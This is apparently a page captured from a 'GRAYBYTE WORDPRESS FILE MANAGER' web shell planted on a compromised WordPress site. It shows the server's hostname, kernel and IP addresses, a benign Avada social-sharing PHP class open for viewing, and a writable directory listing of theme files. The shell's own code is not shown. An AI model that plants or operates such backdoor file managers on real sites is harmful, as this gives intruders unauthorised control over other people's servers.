✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.191
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/cgi_bin/default/authorization/lib/inc//class-fusion-social-sharing.php
<?php
/**
 * Social Icons class.
 *
 * @author     ThemeFusion
 * @copyright  (c) Copyright by ThemeFusion
 * @link       https://avada.com
 * @package    Avada
 * @subpackage Core
 * @since      4.0.0
 */

/**
 * Social sharing handler.
 *
 * @since 4.0.0
 */
class Fusion_Social_Sharing extends Fusion_Social_Icon {

	/**
	 * Renders all social icons not belonging to shortcodes.
	 *
	 * @since 3.5.0
	 * @access public
	 * @param  array $args Holding all necessarry data for social icons.
	 * @return string  The HTML mark up for social icons, incl. wrapping container.
	 */
	public function render_social_icons( $args ) {

		parent::$args = $args;

		// Get a list of all the available social networks.
		$social_networks_full_array = Fusion_Data::fusion_social_icons( true, true );

		if ( isset( parent::$args['authorpage'] ) && 'yes' === parent::$args['authorpage'] ) {
			$social_networks = $this->get_authorpage_social_links_array( parent::$args );
		} else {
			$social_networks = $this->get_social_sharing_links_sharingbox( parent::$args );
		}

		$html  = '';
		$icons = '';

		$i = 0;

		if ( isset( parent::$args['authorpage'] ) && 'yes' === parent::$args['authorpage'] && isset( parent::$args['color_type'] ) ) {
			$per_icon_colors = ( 'brand' === parent::$args['color_type'] ) ? true : false;
		} else {
			$per_icon_colors = ( 'brand' === fusion_library()->get_option( 'sharing_social_links_color_type' ) ) ? true : false;
		}
		$number_of_social_networks = count( $social_networks );

		if ( ! empty( $social_networks ) ) {
			foreach ( $social_networks as $network => $icon_args ) {

				$icon_options = [
					'social_network' => $network,
					'social_link'    => $icon_args['url'],
				];

				if ( $per_icon_colors ) {
					$network_for_colors = str_replace( 'sharing_', '', $network );
					if ( parent::$args['icon_boxed'] ) {
						$icon_options['icon_color'] = '#ffffff';
						$icon_options['box_color']  = $social_networks_full_array[ $network_for_colors ]['color'];
					} else {
						$icon_options['icon_color'] = $social_networks_full_array[ $network_for_colors ]['color'];
						$icon_options['box_color']  = '#ffffff';
					}
				} else {
					$icon_options['icon_color'] = 'var(--sharing_social_links_icon_color)';
					$icon_options['box_color']  = 'var(--sharing_social_links_box_color)';
				}

				// Check if are on the last social icon;
				// $i needs to be incremented first to make it match the count() value.
				$i++;
				$icon_options['last'] = ( $i === $number_of_social_networks );

				$icons .= parent::get_markup( $icon_options );
			}
		}

		if ( ! empty( $icons ) ) {
			$attr = [
				'class' => 'fusion-social-networks',
			];
			if ( parent::$args['icon_boxed'] ) {
				$attr['class'] .= ' boxed-icons';
			}
			$html = '<div ' . fusion_attr( 'social-icons-class-social-networks', $attr ) . '><div ' . fusion_attr( 'fusion-social-networks-wrapper' ) . '>' . $icons;
			if ( isset( parent::$args['position'] ) && ( 'header' === parent::$args['position'] || 'footer' === parent::$args['position'] ) ) {
				$html .= '</div></div>';
			} else {
				$html .= '<div class="fusion-clearfix"></div></div></div>';
			}
		}

		return apply_filters( 'fusion_social_sharing_html', $html, $args );
	}

	/**
	 * Get the base links for social sharing.
	 *
	 * @access public
	 * @since 3.4
	 * @return array Array of all networks with their base links.
	 */
	public static function get_social_sharing_links_base() {
		$social_sharing_links_base = [
			'facebook'  => 'https://www.facebook.com/sharer.php?u=',
			'twitter'   => 'https://twitter.com/share?url=',
			'linkedin'  => 'https://www.linkedin.com/shareArticle?mini=true&url=',
			'reddit'    => 'https://reddit.com/submit?url=',
			'whatsapp'  => 'https://api.whatsapp.com/send?text=',
			'telegram'  => 'https://t.me/share/url?url=',
			'tumblr'    => 'https://www.tumblr.com/share/link?url=',
			'pinterest' => 'https://pinterest.com/pin/create/button/?url=',
			'vk'        => 'https://vk.com/share.php?url=',
			'xing'      => 'https://www.xing.com/social_plugins/share/new?sc_p=xing-share&amp;h=1&amp;url=',
			'email'     => 'mailto:?body=',
		];

		return $social_sharing_links_base;

	}

	/**
	 * Set up the array for sharing box social networks.
	 *
	 * @access public
	 * @since 3.4
	 * @param  array $args Holding all necessarry data for social icons.
	 * @return array  The social links array containing the social media and links to them.
	 */
	public function get_social_sharing_links_sharingbox( $args ) {
		$social_sharing_links_output  = [];
		$enabled_social_networks      = fusion_library()->get_option( 'social_sharing' );
		$social_sharing_links_base    = $this->get_social_sharing_links_base();
		$args['title']                = html_entity_decode( $args['title'], ENT_COMPAT, 'UTF-8' );
		$social_sharing_links_content = [
			'facebook'  => rawurlencode( $args['link'] ) . '&t=' . rawurlencode( $args['title'] ),
			'twitter'   => rawurlencode( $args['link'] ) . '&text=' . rawurlencode( $args['title'] ),
			'linkedin'  => rawurlencode( $args['link'] ) . '&title=' . rawurlencode( $args['title'] ) . '&summary=' . rawurlencode( mb_substr( html_entity_decode( $args['description'], ENT_QUOTES, 'UTF-8' ), 0, 256 ) ),
			'reddit'    => $args['link'] . '&amp;title=' . rawurlencode( $args['title'] ),
			'whatsapp'  => rawurlencode( $args['link'] ),
			'telegram'  => rawurlencode( $args['link'] ),
			'tumblr'    => rawurlencode( $args['link'] ) . '&amp;name=' . rawurlencode( $args['title'] ) . '&amp;description=' . rawurlencode( $args['description'] ),
			'pinterest' => rawurlencode( $args['link'] ) . '&amp;description=' . rawurlencode( $args['description'] ) . '&amp;media=' . rawurlencode( $args['pinterest_image'] ),
			'vk'        => rawurlencode( $args['link'] ) . '&amp;title=' . rawurlencode( $args['title'] ) . '&amp;description=' . rawurlencode( $args['description'] ),
			'xing'      => rawurlencode( $args['link'] ),
			'email'     => $args['link'] . '&subject=' . rawurlencode( $args['title'] ),
		];

		if ( is_array( $enabled_social_networks ) ) {
			foreach ( $enabled_social_networks as $index => $network ) {
				$social_sharing_links_output[ $network ] = [ 'url' => $social_sharing_links_base[ $network ] . $social_sharing_links_content[ $network ] ];
			}
		}

		return $social_sharing_links_output;

	}

	/**
	 * Get the links and names for lightbox social sharing.
	 *
	 * @access public
	 * @since 3.4
	 * @return array Array of all networks with their base links and names.
	 */
	public static function get_social_sharing_links_lightbox() {
		$social_sharing_links_output = [];
		$enabled_social_networks     = fusion_library()->get_option( 'social_sharing' );
		$social_sharing_links_base   = self::get_social_sharing_links_base();

		if ( is_array( $enabled_social_networks ) ) {
			foreach ( $enabled_social_networks as $index => $network ) {
				$output_network = $network;
				/* translators: Social network name */
				$share_text = esc_attr__( 'Share on %s', 'Avada' );

				if ( 'email' === $network ) {
					$output_network = 'mail';
					/* translators: Share by email */
					$share_text = esc_attr__( 'Share by %s', 'Avada' );
				}

				if ( ! isset( $social_sharing_links_base[ $network ] ) ) {
					continue;
				}

				$social_sharing_links_output[ $output_network ] = [
					'source' => $social_sharing_links_base[ $network ] . '{URL}',
					'text'   => sprintf( $share_text, self::get_social_network_name( $network ) ),
				];
			}
		}

		return $social_sharing_links_output;

	}

	/**
	 * Set up the array for author page social networks.
	 *
	 * @since 3.5.0
	 * @access public
	 * @param  array $args Holding all necessarry data for social icons.
	 * @return array  The social links array containing the social media and links to them.
	 */
	public function get_authorpage_social_links_array( $args ) {

		$social_links_array = [];

		if ( get_the_author_meta( 'author_facebook', $args['author_id'] ) ) {
			$social_links_array['facebook'] = [
				'url' => get_the_author_meta( 'author_facebook', $args['author_id'] ),
			];
		}

		if ( get_the_author_meta( 'author_twitter', $args['author_id'] ) ) {
			$social_links_array['twitter'] = [
				'url' => get_the_author_meta( 'author_twitter', $args['author_id'] ),
			];
		}

		if ( get_the_author_meta( 'author_linkedin', $args['author_id'] ) ) {
			$social_links_array['linkedin'] = [
				'url' => get_the_author_meta( 'author_linkedin', $args['author_id'] ),
			];
		}

		if ( get_the_author_meta( 'author_dribble', $args['author_id'] ) ) {
			$social_links_array['dribbble'] = [
				'url' => get_the_author_meta( 'author_dribble', $args['author_id'] ),
			];
		}

		if ( get_the_author_meta( 'author_whatsapp', $args['author_id'] ) ) {
			$social_links_array['whatsapp'] = [
				'url' => get_the_author_meta( 'author_whatsapp', $args['author_id'] ),
			];
		}

		if ( get_the_author_meta( 'author_email', $args['author_id'] ) ) {
			$social_links_array['email'] = [
				'url' => get_the_author_meta( 'author_email', $args['author_id'] ),
			];
		}

		return $social_links_array;
	}
}

/* Omit closing PHP tag to avoid "Headers already sent" issues. */


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
8 Sep 2026 5.38 AM
docteuh / users
0755
custom-icons
--
8 Sep 2026 5.38 AM
docteuh / users
0755
fusion-app
--
8 Sep 2026 5.38 AM
docteuh / users
0755
importer
--
8 Sep 2026 5.38 AM
docteuh / users
0755
jetpack-device-detection
--
8 Sep 2026 5.38 AM
docteuh / users
0755
recaptcha
--
8 Sep 2026 5.38 AM
docteuh / users
0755
redux
--
8 Sep 2026 5.38 AM
docteuh / users
0755
templates
--
8 Sep 2026 5.38 AM
docteuh / users
0755
widgets
--
8 Sep 2026 5.38 AM
docteuh / users
0755
class-awb-widget-framework.php
54.885 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-awb-widget-style.php
24.171 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-admin-notice.php
5.499 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-amp.php
1.412 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-breadcrumbs.php
29.436 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-cache.php
7.791 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-color.php
68.855 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-data-framework.php
1.8 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-data-postmeta.php
7.026 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-data-termmeta.php
8.399 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-data.php
12.993 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-device-detection.php
1.455 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-downloader.php
5.209 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-dynamic-css-file.php
4.507 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-dynamic-css-helpers.php
12.374 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-dynamic-css-inline.php
3.13 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-dynamic-css.php
17.721 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-dynamic-js-file.php
8.247 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-dynamic-js-separate.php
1.509 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-dynamic-js.php
13.118 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-envato-api.php
11.729 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-fa-font-downloader.php
7.35 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-featured-image.php
5.196 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-filesystem.php
6.188 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-font-awesome.php
13.949 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-fusionredux.php
56.494 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-helper.php
10.32 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-images.php
62.214 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-json-ld.php
2.136 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-library-autoloader.php
7.355 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-media-query-scripts.php
12.416 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-multilingual.php
17.534 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-nav-walker.php
41.06 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-options-map.php
7.443 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-options.php
4.745 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-panel-callbacks.php
12.309 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-patcher-admin-notices.php
2.798 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-patcher-admin-screen.php
14.548 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-patcher-apply-patch.php
9.98 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-patcher-cache.php
3.559 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-patcher-checker.php
4.404 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-patcher-client.php
4.647 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-patcher-filesystem.php
6.106 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-patcher.php
5.101 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-privacy.php
6.186 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-product-registration.php
23.788 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-sanitize.php
14.431 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-scripts.php
19.769 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-searchform.php
3.227 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-settings.php
27.407 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-social-icon.php
7.203 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-social-icons.php
5.336 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-social-sharing.php
8.962 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-updater.php
9.326 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-woocommerce.php
9.533 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion.php
11.641 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
functions.php
71.943 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
fusion-icon.php
3.829 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
googlefonts-array.php
140.397 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
icon-redirect-manager.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
wc-functions.php
2.61 KB
20 Nov 2023 7.11 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF